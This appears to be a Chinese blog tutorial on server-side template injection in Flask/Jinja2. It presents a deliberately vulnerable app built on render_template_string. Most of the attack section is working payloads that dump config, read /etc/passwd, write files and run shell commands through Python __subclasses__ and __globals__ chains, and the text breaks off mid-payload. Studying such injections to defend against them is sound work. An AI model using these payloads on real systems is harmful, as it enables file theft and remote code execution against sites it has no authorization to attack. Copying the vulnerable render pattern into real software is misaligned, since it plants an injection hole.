前言
又划水了一天,最后划累了学习了一会,写了这篇文章,又遇到的hexo遇见花括号解析错误的问题,一点点把文章断点才解决(hexo断点调试
SSTI介绍
SSTI,服务端模板注入攻击,发生在MVA框架的view层中。
注入原因:
服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
测试SSTI的流程方式如下图:
SSTI for Flask
Flask的模板引擎为Jinja2,而主要出现问题的函数为render_template_string(),并没有渲染模板文件,直接把字符串渲染到了html,如果不经过过滤则很容易造成恶意代码注入问题。
实战过程
代码搭建1
2
3
4
5
6
7
8from flask import Flask, render_template_string, request
app = Flask(__name__)
def ():
name = request.args.get('name')
template = '
hello {}!
'.format(name)
return render_template_string(template)
app.run()
注入检测
通过payload:1+1的返回为2可以得知存在注入。
导出config变量和session
可以通过config和session进行导出
读/写文件
读文件
通过payload
1
2().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
以上两种payload都可以进行文件读取
写文件
同样也是两种payload,这里只列举一种了(其实可以通过Fuzz获得多种
1{ { ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}
命令执行1
2
3
4
5
6
7
8
9().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases_